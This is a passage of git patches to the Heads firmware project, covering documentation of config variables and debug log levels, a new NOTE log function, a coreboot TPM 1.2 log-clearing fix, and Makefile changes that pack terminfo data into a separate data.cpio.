CONFIG_AUTOMATIC_POWERON from the config GUI. | +| CONFIG_SUPPORT_BLOB_JAIL | Board supports the firmware blob jail to provide nonfree device firmware to the OS kernel. The board must provide relevant device firmware. User can set CONFIG_USE_BLOB_JAIL from the config GUI. | + +## Module Variables + +These variables enable modules or functions of modules, usually adding output from that module to the initrd. +These are not intended to be changed in user config. +(A few might work when overridden to 'n', but this is not intentionally supported.) + +| Variable | Purpose | +|---|---| +| CONFIG_BASH | Bash shell. Most of Heads requires this. | +| CONFIG_BUSYBOX | BusyBox userspace tools. Alternative is CONFIG_UROOT | +| CONFIG_CAIRO | Cairo libraries, needed by fbwhiptail. | +| CONFIG_COREBOOT | coreboot is the base firmware that loads Heads. Alternative is CONFIG_LINUXBOOT | +| CONFIG_CRYPTSETUP2 | cryptsetup2 tools (used for LUKS) | +| CONFIG_DROPBEAR | DropBear SSH server (for debug / troubleshooting) | +| CONFIG_FBWHIPTAIL | fbwhiptail, framebuffer-based graphical whiptail implementation. Alternative is CONFIG_NEWT | + +:point_right: TODO: document these: + +``` +CONFIG_CRYPTSETUP +CONFIG_EXFATPROGS +CONFIG_FLASHPROG +CONFIG_FLASHPROG_AST1100 +CONFIG_FLASHROM +CONFIG_FLASHTOOLS +CONFIG_FROTZ +CONFIG_GPG2 +CONFIG_HOTPKEY +CONFIG_IO386 +CONFIG_IOPORT +CONFIG_KBD +CONFIG_KBD_DEVTOOLS +CONFIG_KBD_EXTRATOOLS +CONFIG_KBD_LOADKEYS +CONFIG_KEXEC +CONFIG_LINUXBOOT +CONFIG_LINUX_AHCI +CONFIG_LINUX_ATA +CONFIG_LINUX_BCM +CONFIG_LINUX_BUNDLED +CONFIG_LINUX_COMMAND_LINE +CONFIG_LINUX_CONFIG +CONFIG_LINUX_E1000 +CONFIG_LINUX_E1000E +CONFIG_LINUX_IGB +CONFIG_LINUX_MEGARAID +CONFIG_LINUX_MEI +CONFIG_LINUX_MLX4 +CONFIG_LINUX_NVME +CONFIG_LINUX_SCSI_GDTH +CONFIG_LINUX_SFC +CONFIG_LINUX_USB +CONFIG_LINUX_USB_COMPANION_CONTROLLER +CONFIG_LINUX_VERSION +CONFIG_LVM2 +CONFIG_MBEDTLS +CONFIG_MSRTOOLS +CONFIG_MUSL +CONFIG_NEWT +CONFIG_NKSTORECLI +CONFIG_OPENSSL +CONFIG_PCIUTILS +CONFIG_POWERPC_UTILS +CONFIG_PURISM_BLOBS +CONFIG_QRENCODE +CONFIG_SLANG +CONFIG_SYSCTL +CONFIG_TPM2_TOOLS +CONFIG_TPM2_TSS +CONFIG_UROOT +CONFIG_UTIL_LINUX +CONFIG_ZLIB +CONFIG_ZSTD +``` + +## Historical + +These variables are no longer used, except possibly in a migration for older settings. +Remember that these could still exist in user configs, so avoid reusing the name for a future variable. + +| Variable | Purpose | +|---|---| +| CONFIG_PUREBOOT_BASIC | Migrated to CONFIG_BASIC. | +| CONFIG_SUPPORT_USB_KEYBOARD | All builds now include USB keyboard support. | +| CONFIG_USB_KEYBOARD | This was a build-time setting when USB keyboard support could only be enabled at build time. When this became a runtime setting, the existing variable name was not reused to avoid confusing older firmware if a user would downgrade. (CONFIG_USER_USB_KEYBOARD is the user-controlled setting, CONFIG_REQUIRE_USB_KEYBOARD indicates that a board requires USB keyboard all the time.) | + +# Updating this document + +Use `bin/find_undocumented_config.sh` to find CONFIG_ variables that haven't been documented yet. +It has some exclusions to avoid lots of false matches against subproject configs, etc., see the script implementation. + + diff --git a/doc/logging.md b/doc/logging.md new file mode 100644 index 000000000..034738706 --- /dev/null +++ b/doc/logging.md @@ -0,0 +1,177 @@ +# Heads Debug Logging + +Heads produces debug logging to aid development and troubleshooting. + +Logging is produced in scripts at a _log level_. +Users can set an _output level_ that controls how much output they see on the screen. + +# Log Levels + +In order from "most verbose" to "least verbose": + +LOG > TRACE > DEBUG > INFO > console > warn + +("console" level output is historical and should be replaced with INFO.) + +## LOG + +LOG is for very detailed output or output with uncontrolled length. +It never goes to the screen, this always goes to the log file. +Usually, we dump outputs of commands like 'lsblk', 'lsusb', 'gpg --list-keys', etc. at LOG level (using DO_WITH_DEBUG or SINK_LOG), so we can tell the state of the system from a log submitted by a user. +We rarely want these on the console as they usually hide more relevant output with information that we already know. + +Use this in situations like: +* Dumping information about the state of the system for debugging. The output doesn't indicate any specific action/decision in Heads or a problem, it's just state relevant for troubleshooting the rest of the log. +* Tracing something that might be very long (including "we don't know how long this will be", even if it's sometimes short). Very long output isn't useful on the console, since you can't scroll back, and it hides more important information. +* The output is intended for debugging a specific topic, and usually unintersting otherwise. We want to be able to turn up output to DEBUG/TRACE when working on any topic without excessively filling the console with every topic's detailed output. + +## TRACE + +TRACE is for following execution flow through Heads. +(TRACE_FUNC logs the current source location at TRACE level, you can use this when entering a function or script, this is much more common than using TRACE directly.) + +You can also use TRACE to show parameter values to scripts or functions. +Since TRACE is for execution flow, show the unprocessed parameters as provided by the caller, not an interpreted version. +(This is uncommon though as it is very verbose, and we can also capture interesting call sites with DO_WITH_DEBUG.) + +You can invoke TRACE to show specific execution flow when needed, but if you are tracing the result of a decision, consider using DEBUG instead. + +Use this in situations like: +* Following control flow - use TRACE_FUNC when entering a script or function +* Showing the parameters used to invoke a script/function, when they are especially relevant and not excessively verbose + +## DEBUG + +DEBUG is for most log information that is relevant if you are a Heads developer. + +Use DEBUG to highlight the decisions made in script logic, and the information that affects those decisions. +Generally, focus on decision points (if, else, case, while, for, etc.), because we can keep following straight-line execution without further tracing. + +Decision points usually capture program behavior the best. +Show the information that is about to influence a decision (`DEBUG "Found ${#DEVS[@]} block devices: to check for LUKS:" "${DEVS[@]}"`) and/or the results of the decision (`DEBUG "${DEVS[$i]} is not a LUKS device, ignore it`). + +Use DO_WITH_DEBUG to capture a particular command execution to the debug log. +The command and its arguments are captured at DEBUG level (as they usually indicate the decisions the command will make), and the command's stdout/stderr are captured at LOG level. +See DO_WITH_DEBUG for examples of usage. + +Use this in situations like: + +* Showing information derived or obtained that will influence logical decisions and actions +* Showing the result of decisions and the reasons for them + +## INFO + +INFO is for contextual information that may be of interest to end users, but that is not required for use of Heads. +Users can control whether this is displayed on the console. + +Users might use this to troubleshoot Heads configuration or behavior, but this should not require knowledge of Heads implementation or developer experience. + +For example: + +* "Why can't I enable USB keyboard support?" `INFO "Not showing USB keyboard option, USB keyboard is always enabled for this board"` +* "Why isn't Heads booting automatically?" `INFO "Not booting automatically, automatic boot is disabled in user settings"` +* "Why didn't Heads prompt me for a password?" `INFO "Password has not been changed, using default"`) + +These do not include highly technical details. +They can include configuration values or context, _but_ they should refer to configuration settings using the user-facing names in the configuration menus. + +Use this in situations like: + +* Showing very high level decision-making information, which is reasonably understandable for users not familiar with Heads implementation +* Explaining a behavior that could reasonably be unexpected for some users + +## console + +This level is historical, use INFO for this. +It is documented as there are still some occurrences in Heads, usually `echo`, `echo >&2`, or `echo >/dev/console`, each intended to produce output directly on the console. +The intent is the same as INFO. + +(This is different from `echo` used to produce output that might be captured by a caller, which is not logging at all.) + +Avoid using this, and change existing console output to INFO or another level. + +## warn + +warn is for output that indicates a problem. We think the user should act on it, but we are able to continue, possibly with degraded functionality. +(This level and the utility function are lowercase, as they predate the other levels.) + +This is apppriate when _all_ of the following are true: + +- there is a likely problem +- we are able to continue, possibly with degraded functionality +- there is a reasonable change that could silence the warning if this is intentional + +**Do not overuse this.** Overuse of this level causes user to become accustomed to ignoring warnings. +This level only has value as long as it does not occur frequently, so users will notice warnings. + +Warnings must indicate a _likely_ problem. +(Not a rare or remote possibility of a problem.) + +Warnings are only appropriate if we're able to continue operating. +If we can't, consider prompting the user instead, since we cannot do what they asked. + +Warnings are only appropriate if there is a reasonable change the user can make to avoid the warning. + +For example: +* Warning when using default passphrases that are completely insecure is reasonable - the user has no security, and if they want that, they should use Basic mode. +* Warning when an unknown variable appears in config.user is not reasonable - there's no reasonable way for the user to address this. + +# Output Levels + +Users can choose one of three output levels for extra console information. + +* None - Show no extra output. Only warnings appear on console. (Some 'console' level output appears that has not been addressed yet.) +* Info - Show information about operations in Heads. (INFO and below.) +* Debug - Show detailed information suitable for debugging Heads. (TRACE and below.) Log file captures all levels. + +TODO: Document what happens for kernel messages too. +This is more complex though since it is influenced by the board's config and user config differently (maybe we should improve that.) + +TODO: Document the variables that control these levels + +## None - no extra output + +| Sink | LOG | TRACE | DEBUG | INFO | console | warn | +|-------------------------|-----|-------|-------|------|---------|------| +| Console (via /dev/kmsg) | | | | | Yes* | Yes | +| /tmp/debug.log | | | | | | | + +* Most 'console' output should be changed to INFO, that content isn't intended to be displayed in quiet mode + +No extra output is specified with: + +``` +CONFIG_DEBUG_OUTPUT=n +CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +CONFIG_QUIET_MODE=y +``` + +## Info + +| Sink | LOG | TRACE | DEBUG | INFO | console | warn | +|-------------------------|-----|-------|-------|------|---------|------| +| Console (via /dev/kmsg) | | | | Yes | Yes | Yes | +| /tmp/debug.log | | | | | | | + +Info output is enabled with: + +``` +CONFIG_DEBUG_OUTPUT=n +CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +CONFIG_QUIET_MODE=n +``` + +## Debug + +| Sink | LOG | TRACE | DEBUG | INFO | console | warn | +|-------------------------|-----|-------|-------|------|---------|------| +| Console (via /dev/kmsg) | | Yes | Yes | Yes | Yes | Yes | +| /tmp/debug.log | Yes | Yes | Yes | Yes | Yes | Yes | + +Debug output is enabled with: + +``` +CONFIG_DEBUG_OUTPUT=y +CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +CONFIG_QUIET_MODE=n +``` From 42940e4d2f349379a675c5c6f2d53180a08f69c7 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 15 Apr 2025 10:26:06 -0400 Subject: [PATCH 594/619] logging: Add NOTE level, clarify warn level, refer to doc in functions Add NOTE level between INFO and warn. NOTE is appropriate for context that is required to understand confusing/surprising behavior in Heads, but that does not indicate a problem. Clarify warn level based on discussion. Fix LOG output in tables, LOG actually does go to the debug log currently in any configuration. Signed-off-by: Jonathon Hall --- doc/logging.md | 45 ++++++++++++++++++++++++++++---------------- initrd/etc/functions | 26 ++++++++++++++++++++++++- 2 files changed, 54 insertions(+), 17 deletions(-) diff --git a/doc/logging.md b/doc/logging.md index 034738706..7bfdea0ba 100644 --- a/doc/logging.md +++ b/doc/logging.md @@ -9,7 +9,7 @@ Users can set an _output level_ that controls how much output they see on the sc In order from "most verbose" to "least verbose": -LOG > TRACE > DEBUG > INFO > console > warn +LOG > TRACE > DEBUG > INFO > (console) > NOTE > warn ("console" level output is historical and should be replaced with INFO.) @@ -90,6 +90,19 @@ The intent is the same as INFO. Avoid using this, and change existing console output to INFO or another level. +## NOTE + +NOTE is for contextual information explaining something that is _likely_ to be unexpected or confusing to users new to Heads. + +Unlike INFO, it cannot be hidden. Use this only if the behavior is likely to be unexpected or confusing to many users. If it is only possibly unexpected or uncommon that it is confusing, consider INFO instead. + +Do not overuse this above INFO. Adding too much output at NOTE causes users to ignore it, as there is too much output. + +For example: + +* "Rebooting in 3 seconds to enable booting default boot option". Users probably don't expect the firmware to reboot to accomplish this behavior, this is unique to Heads. Without a message justifying the reboot, it would likely appear that the firmware faulted and reset unexpectedly. +* "Your GPG User PIN, followed by Enter key will be required [...]". GPG prompts are very confusing to users unfamiliar with GPG (which is most users). + ## warn warn is for output that indicates a problem. We think the user should act on it, but we are able to continue, possibly with degraded functionality. @@ -97,9 +110,9 @@ warn is for output that indicates a problem. We think the user should act on it This is apppriate when _all_ of the following are true: -- there is a likely problem +- there is a _likely_ problem - we are able to continue, possibly with degraded functionality -- there is a reasonable change that could silence the warning if this is intentional +- the warning is _actionable_ - there is a reasonable change that could silence the warning if this is intentional **Do not overuse this.** Overuse of this level causes user to become accustomed to ignoring warnings. This level only has value as long as it does not occur frequently, so users will notice warnings. @@ -110,7 +123,7 @@ Warnings must indicate a _likely_ problem. Warnings are only appropriate if we're able to continue operating. If we can't, consider prompting the user instead, since we cannot do what they asked. -Warnings are only appropriate if there is a reasonable change the user can make to avoid the warning. +Warnings must be _actionable_. Only warn if there is a reasonable change the user can make to avoid the warning. For example: * Warning when using default passphrases that are completely insecure is reasonable - the user has no security, and if they want that, they should use Basic mode. @@ -131,10 +144,10 @@ TODO: Document the variables that control these levels ## None - no extra output -| Sink | LOG | TRACE | DEBUG | INFO | console | warn | -|-------------------------|-----|-------|-------|------|---------|------| -| Console (via /dev/kmsg) | | | | | Yes* | Yes | -| /tmp/debug.log | | | | | | | +| Sink | LOG | TRACE | DEBUG | INFO | console | NOTE | warn | +|-------------------------|-----|-------|-------|------|---------|------|------| +| Console (via /dev/kmsg) | | | | | Yes* | Yes | Yes | +| /tmp/debug.log | Yes | | | | | | | * Most 'console' output should be changed to INFO, that content isn't intended to be displayed in quiet mode @@ -148,10 +161,10 @@ CONFIG_QUIET_MODE=y ## Info -| Sink | LOG | TRACE | DEBUG | INFO | console | warn | -|-------------------------|-----|-------|-------|------|---------|------| -| Console (via /dev/kmsg) | | | | Yes | Yes | Yes | -| /tmp/debug.log | | | | | | | +| Sink | LOG | TRACE | DEBUG | INFO | console | NOTE | warn | +|-------------------------|-----|-------|-------|------|---------|------|------| +| Console (via /dev/kmsg) | | | | Yes | Yes | Yes | Yes | +| /tmp/debug.log | Yes | | | | | | | Info output is enabled with: @@ -163,10 +176,10 @@ CONFIG_QUIET_MODE=n ## Debug -| Sink | LOG | TRACE | DEBUG | INFO | console | warn | -|-------------------------|-----|-------|-------|------|---------|------| -| Console (via /dev/kmsg) | | Yes | Yes | Yes | Yes | Yes | -| /tmp/debug.log | Yes | Yes | Yes | Yes | Yes | Yes | +| Sink | LOG | TRACE | DEBUG | INFO | console | NOTE | warn | +|-------------------------|-----|-------|-------|------|---------|------|------| +| Console (via /dev/kmsg) | | Yes | Yes | Yes | Yes | Yes | Yes | +| /tmp/debug.log | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Debug output is enabled with: diff --git a/initrd/etc/functions b/initrd/etc/functions index ccc15dd81..21e7f1b79 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -12,6 +12,9 @@ die() { exit 1 } +# Use warn only for output that indicates a _likely_ problem, is _actionable_ to +# correct, and when we are able to continue with degraded functionalty. +# Do not overuse this! See doc/logging.md. warn() { if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then echo -e " *** WARNING: $* ***" | tee -a /tmp/debug.log /dev/kmsg >/dev/null @@ -21,6 +24,10 @@ warn() { sleep 1 } +# Use DEBUG to track decisions made in script/function logic and the context +# relating to those decisions. Generally, focus on decision points, because +# straight-line execution can usually be followed without further tracing. See +# doc/logging.md. DEBUG() { if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then # fold -s -w 960 will wrap lines at 960 characters on the last space before the limit @@ -30,13 +37,30 @@ DEBUG() { fi } +# Use TRACE to trace control flow through Heads. This is usually called by +# TRACE_FUNC, but you can use it to additionally trace parameter values, etc. +# Usually, use this to display unprocessed parameters that your script or +# function received. For information about the logic occurring in your script +# or function, use DEBUG. See doc/logging.md. TRACE() { if [ "$CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT" = "y" ]; then echo "TRACE: $*" | tee -a /tmp/debug.log /dev/kmsg >/dev/null fi } -# Function to manage information output level to the console/debug.log +# Use NOTE to explain behaviors that are _likely_ to be unexpected or confusing. +# Unlike INFO, this cannot be hidden, as the explained behavior would be too +# confusing without this output. +# Don't overuse this - too much NOTE output will cause users to ignore it. See +# doc/logging.md. +NOTE() { + echo "NOTE:" "$@" | tee -a /tmp/debug.log +} + +# Use INFO for contextual information that might make sense to non-developers, +# but that isn't generally needed to use Heads. Non-developers might use this +# level to troubleshoot basic problems, so it must make sense without deep +# knowledge of how Heads works. See doc/logging.md. INFO() { #TODO: add colors to output, here green for INFO? From e1d58a3c62f0276782afb1029226bf4d95b45fab Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 15 Apr 2025 10:29:10 -0400 Subject: [PATCH 595/619] functions: Use NOTE for GPG prompt clarification and resealing context These messages don't indicate a problem, and they are not actionable. They aren't warnings. They _are_ important enough to clarify a confusing behavior that they should not be hidden with INFO messages, though. Use NOTE. Signed-off-by: Jonathon Hall --- initrd/etc/functions | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index 21e7f1b79..85763c2bb 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -218,7 +218,7 @@ confirm_gpg_card() { echo "GPG User PIN retry attempts left before becoming locked: $user_pin_retries" echo "GPG Admin PIN retry attempts left before becoming locked: $admin_pin_retries" echo "" - warn "Your GPG User PIN, followed by Enter key will be required for input at: 'Please unlock the card' next prompt" + NOTE "Your GPG User PIN, followed by Enter key will be required for input at: 'Please unlock the card' next prompt" echo "" } @@ -621,17 +621,17 @@ reseal_tpm_disk_decryption_key() { fi if [ -s /boot/kexec_key_devices.txt ] || [ -s /boot/kexec_key_lvm.txt ]; then - warn "LUKS TPM sealed Disk Unlock Key secret needs to be resealed alongside TOTP/HOTP secret" + NOTE "LUKS TPM sealed Disk Unlock Key secret needs to be resealed alongside TOTP/HOTP secret" echo "Resealing LUKS TPM Disk Unlock Key to be unsealed by LUKS TPM Disk Unlock Key passphrase" while ! kexec-seal-key /boot; do warn "Recovery Disk Encryption key passphrase/TPM Owner Password may be invalid. Please try again" done - warn "LUKS header hash changed under /boot/kexec_luks_hdr_hash.txt" + NOTE "LUKS header hash changed under /boot/kexec_luks_hdr_hash.txt" echo "Updating checksums and signing all files under /boot/kexec.sig" while ! update_checksums; do warn "Checksums were not signed. Preceding errors should explain possible causes" done - warn "Rebooting in 3 seconds to enable booting default boot option" + NOTE "Rebooting in 3 seconds to enable booting default boot option" sleep 3 reboot else From 741d7214023c3b3b02f9908629a7fcb0011735c0 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 16 Apr 2025 11:08:09 -0400 Subject: [PATCH 596/619] kexec-save-default + luks_functions : suppress "Failed to set up async io, using sync io" warning thrown by lvm vgscan TODO: eventually refactor this out or silence no encrypted lvm found echos in code: who use encrypted LVM nowadays? I think this was pre QubesOS 3.2 era but not even sure anymore. Signed-off-by: Thierry Laurion --- initrd/bin/kexec-save-default | 2 +- initrd/etc/luks-functions | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/initrd/bin/kexec-save-default b/initrd/bin/kexec-save-default index 22ed28cfa..fda5d01a1 100755 --- a/initrd/bin/kexec-save-default +++ b/initrd/bin/kexec-save-default @@ -38,7 +38,7 @@ PRIMHASH_FILE="$paramsdir/kexec_primhdl_hash.txt" KEY_DEVICES="$paramsdir/kexec_key_devices.txt" KEY_LVM="$paramsdir/kexec_key_lvm.txt" -lvm_suggest=$(lvm vgscan | awk -F '"' {'print $1'} | tail -n +2) +lvm_suggest=$(lvm vgscan 2>/dev/null | awk -F '"' {'print $1'} | tail -n +2) num_lvm=$(echo "$lvm_suggest" | wc -l) if [ "$num_lvm" -eq 1 ] && [ -n "$lvm_suggest" ]; then lvm_volume_group="$lvm_suggest" diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index 4abcd4f22..8002fd41c 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -8,7 +8,7 @@ # List all LUKS devices on the system that are not USB list_local_luks_devices() { TRACE_FUNC - lvm vgscan || true + lvm vgscan 2>/dev/null || true blkid | cut -d ':' -f 1 | while read -r device; do DEBUG "Checking device: $device" if cryptsetup isLuks "$device"; then From 4fa541ec1fbd03554c7f598ed69715a3e8a0f468 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 17 Apr 2025 15:41:42 -0400 Subject: [PATCH 597/619] patches/coreboot-24.12/0010-cbmem_tpm-clear_whole_log_on_creation.patch: readd missing uptream cbmem patch for TPM 1.2 This is unmerged https://review.coreboot.org/c/coreboot/+/84926 Cleaner solution would be to cler whole area on creation: https://review.coreboot.org/c/coreboot/+/84927, but this path doesn't apply cleanly. Signed-off-by: Thierry Laurion --- ...bmem_tpm-clear_whole_log_on_creation.patch | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 patches/coreboot-24.12/0010-cbmem_tpm-clear_whole_log_on_creation.patch diff --git a/patches/coreboot-24.12/0010-cbmem_tpm-clear_whole_log_on_creation.patch b/patches/coreboot-24.12/0010-cbmem_tpm-clear_whole_log_on_creation.patch new file mode 100644 index 000000000..adb939789 --- /dev/null +++ b/patches/coreboot-24.12/0010-cbmem_tpm-clear_whole_log_on_creation.patch @@ -0,0 +1,37 @@ +From b83a7607203d285b76e94ffd2013c55b184f5d42 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= +Date: Wed, 30 Oct 2024 10:50:37 +0100 +Subject: [PATCH] security/tpm/tspi/log-tpm1.c: Clear whole log area on + creation +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +The log area was not entirely cleared on creation resulting in +garbage after the last valid lgo entry. It caused the cbmem utility +to parse invalid events and access data outside the log area. +In the TPM2 log sources, the entire area is being cleared, thus the +issue has not been observed. + +Change-Id: I7c780b62b1c6507e1dd1806b20b0270e364cde3d +Signed-off-by: Michał Żygowski +--- + src/security/tpm/tspi/log-tpm1.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/security/tpm/tspi/log-tpm1.c b/src/security/tpm/tspi/log-tpm1.c +index 481b569cd5..453e74b4e8 100644 +--- a/src/security/tpm/tspi/log-tpm1.c ++++ b/src/security/tpm/tspi/log-tpm1.c +@@ -33,7 +33,7 @@ void *tpm1_log_cbmem_init(void) + if (!tclt) + return NULL; + +- memset(tclt, 0, sizeof(*tclt)); ++ memset(tclt, 0, tpm_log_len); + hdr = &tclt->spec_id; + + /* Fill in first "header" entry. */ +-- +2.39.5 + From a92a07daa6c13592f72962ea9e19a2bde9a75d02 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 14 Apr 2025 14:00:42 -0400 Subject: [PATCH 598/619] Makefile / modules/ncurses: add data.cpio logic to seperate data files (terminfo/l/linux -> /etc/terminfo/l/linux previously under tools.cpio) TODO: detail work done here prior of merge For the moment, see this uncleaned branch https://github.com/tlaurion/heads/tree/transition_to_data_cpio Signed-off-by: Thierry Laurion --- Makefile | 77 ++++++++++++++++++++++++++++++++++++++++--------- modules/ncurses | 11 ++++--- modules/newt | 2 +- 3 files changed, 70 insertions(+), 20 deletions(-) diff --git a/Makefile b/Makefile index 16db0e539..9594db494 100644 --- a/Makefile +++ b/Makefile @@ -175,9 +175,9 @@ endif # Create a temporary directory for the initrd initrd_dir := $(BOARD) initrd_tmp_dir := $(shell mktemp -d) -initrd_data_dir := $(initrd_tmp_dir)/etc/terminfo/l initrd_lib_dir := $(initrd_tmp_dir)/lib initrd_bin_dir := $(initrd_tmp_dir)/bin +initrd_data_dir := $(initrd_tmp_dir)/data modules-y += initrd $(shell mkdir -p "$(initrd_lib_dir)" "$(initrd_bin_dir)" "$(initrd_data_dir)") @@ -291,11 +291,23 @@ define map = $(foreach _,$2,$(eval $(call $1,$_))) endef +# Data files can be specified in modules/* to be added into data.cpio. +# Each module should set _data += src|dst +# Example (in modules/ncurses): +# ncurses_data += $(INSTALL)/usr/lib/terminfo/l/linux|etc/terminfo/l/linux +# +# The main Makefile will collect all data files from enabled modules: +# $(call data,$(modules-y)) + # Bring in all of the module definitions; # these are the external pieces that will be downloaded and built # as part of creating the Heads firmware image. include modules/* +# Collect all data files from enabled modules +data_files := +$(foreach m,$(modules-y),$(eval data_files += $($(m)_data))) + define bins = $(foreach m,$1,$(call prefix,$(build)/$($m_dir)/,$($m_output))) endef @@ -309,7 +321,6 @@ endef define outputs = $(foreach m,$1,\ $(call bins,$m)\ - $(call data,$m)\ $(call libs,$m)\ ) endef @@ -567,7 +578,8 @@ define define_module = stat $(call outputs,$1) >/dev/null 2>/dev/null || echo FORCE \ )) - $(build)/$($1_dir)/.build: $($1.force) \ + #TODO: something better then removing .build: $($1.force) so that newt/ncurses are not rebuilt inconditionally? + $(build)/$($1_dir)/.build: \ $(foreach d,$($1_depends),$(build)/$($d_dir)/.build) \ $(dir $($1_config_file_path)).configured \ @@ -618,7 +630,7 @@ endef # # Files that should be copied into the initrd -# THis should probably be done in a more scalable manner +# This should probably be done in a more scalable manner # define initrd_bin_add = $(initrd_bin_dir)/$(notdir $1): $1 @@ -628,11 +640,20 @@ initrd_bins += $(initrd_bin_dir)/$(notdir $1) endef define initrd_data_add = -$(initrd_data_dir)/$(notdir $1): $1 - $(call do,INSTALL-DATA,$$(<:$(pwd)/%=%),cp -a --remove-destination "$$<" "$$@") -initrd_data += $(initrd_data_dir)/$(notdir $1) +$(initrd_data_dir)/$(2): $(1) + $(call do,INSTALL-DATA,$(1:$(pwd)/%=%) => $(2),\ + mkdir -p "$(dir $(initrd_data_dir)/$(2))"; \ + cp -a --remove-destination "$(1)" "$(initrd_data_dir)/$(2)"; \ + ) endef +# Register all data_files for installation +$(foreach entry,$(data_files),\ + $(eval src := $(word 1,$(subst |, ,$(entry)))) \ + $(eval dst := $(word 2,$(subst |, ,$(entry)))) \ + $(eval $(call initrd_data_add,$(src),$(dst))) \ +) + define initrd_lib_add = $(initrd_lib_dir)/$(notdir $1): $1 $(call do,INSTALL-LIB,$(1:$(pwd)/%=%),\ @@ -735,7 +756,21 @@ initrd-y += $(build)/$(initrd_dir)/tools.cpio initrd-y += $(build)/$(initrd_dir)/board.cpio initrd-$(CONFIG_HEADS) += $(build)/$(initrd_dir)/heads.cpio -#$(build)/$(initrd_dir)/.build: $(build)/$(initrd_dir)/initrd.cpio.xz +# Only build data.cpio if there are data files +ifneq ($(strip $(data_files)),) + +# Build data.cpio for data files only +$(build)/$(initrd_dir)/data.cpio: $(data_initrd_files) FORCE + @mkdir -p "$(initrd_data_dir)" + $(call do-cpio,$@,$(initrd_data_dir)) + +# Ensure data.cpio is included in initrd.cpio.xz +initrd-y += $(build)/$(initrd_dir)/data.cpio + +# Ensure data.cpio is always built as part of the main build +all: $(build)/$(initrd_dir)/data.cpio + +endif $(build)/$(initrd_dir)/initrd.cpio.xz: $(initrd-y) $(call do,CPIO-XZ ,$@,\ @@ -765,11 +800,10 @@ all: $(bundle-y) # The board.cpio is built from the board's initrd/ directory. It contains # board-specific support scripts. +$(build)/$(initrd_dir)/board.cpio: FORCE ifeq ($(wildcard $(pwd)/boards/$(BOARD)/initrd),) -$(build)/$(initrd_dir)/board.cpio: cpio -H newc -o "$@" else -$(build)/$(initrd_dir)/board.cpio: FORCE $(call do-cpio,$@,$(pwd)/boards/$(BOARD)/initrd) endif @@ -784,14 +818,12 @@ $(build)/$(initrd_dir)/heads.cpio: FORCE # # The tools initrd is made from all of the things that we've # created during the submodule build. -# $(build)/$(initrd_dir)/tools.cpio: \ $(initrd_bins) \ - $(initrd_data) \ $(initrd_libs) \ $(initrd_tmp_dir)/etc/config \ + FORCE - $(info Used **BINS**: $(initrd_bins)) $(call do-cpio,$@,$(initrd_tmp_dir)) @$(RM) -rf "$(initrd_tmp_dir)" @@ -815,6 +847,25 @@ $(initrd_tmp_dir)/etc/config: FORCE >> $@ ; \ ) +# List of all installed DATA files (for cpio input and hash logging) +data_initrd_files := $(foreach entry,$(data_files),$(initrd_data_dir)/$(word 2,$(subst |, ,$(entry)))) + +# Only build data.cpio if there are data files +ifneq ($(strip $(data_files)),) + +# Build data.cpio for data files only +$(build)/$(initrd_dir)/data.cpio: $(data_initrd_files) FORCE + @mkdir -p "$(initrd_data_dir)" + $(call do-cpio,$@,$(initrd_data_dir)) + +# Ensure data.cpio is included in initrd.cpio.xz +initrd-y += $(build)/$(initrd_dir)/data.cpio + +# Ensure data.cpio is always built as part of the main build +all: $(build)/$(initrd_dir)/data.cpio + +endif + # Ensure that the initrd depends on all of the modules that produce # binaries for it $(build)/$(initrd_dir)/tools.cpio: $(foreach d,$(bin_modules-y),$(build)/$($d_dir)/.build) diff --git a/modules/ncurses b/modules/ncurses index b1fbb2df8..aee73e29e 100644 --- a/modules/ncurses +++ b/modules/ncurses @@ -1,4 +1,4 @@ -modules-y += ncurses +modules-$(CONFIG_NEWT) += ncurses ncurses_depends := $(musl_dep) @@ -18,12 +18,11 @@ ncurses_configure := \ --without-manpages \ --without-shared -#build hack: we cp installed terminfo dir back into build dir to pack terminfo in initrd +# Build and install ncurses data ncurses_target := $(MAKE_JOBS) \ $(CROSS_TOOLS) \ DESTDIR="$(INSTALL)" \ - install.data && \ - cp -vpr $(INSTALL)/usr/share/terminfo "$(build)/$(ncurses_dir)" + install.data -ncurses_data := \ - terminfo/l/linux +# Specify terminfo file for data.cpio if ncurses is enabled +ncurses_data += $(INSTALL)/usr/lib/terminfo/l/linux|etc/terminfo/l/linux diff --git a/modules/newt b/modules/newt index 2d8b2f26e..10fd91be8 100644 --- a/modules/newt +++ b/modules/newt @@ -1,6 +1,6 @@ modules-$(CONFIG_NEWT) += newt -newt_depends := popt slang $(musl_dep) +newt_depends := popt slang ncurses $(musl_dep) newt_version := 0.52.24 newt_dir := newt-$(newt_version) From d3bfc2ff7543fe7b0e16df1516820ec812915f21 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 23 Apr 2025 12:29:40 -0400 Subject: [PATCH 599/619] PoC: Makefile + kbd : add kbd inconditionally (loadkeys) and all kbd source keyboard keymaps under data.cpio user@localhost:~/heads$ ls -alh /home/user/heads/build/x86/qemu-coreboot-whiptail-tpm2/data.cpio -rw-r--r-- 1 root root 2.4M Apr 23 12:33 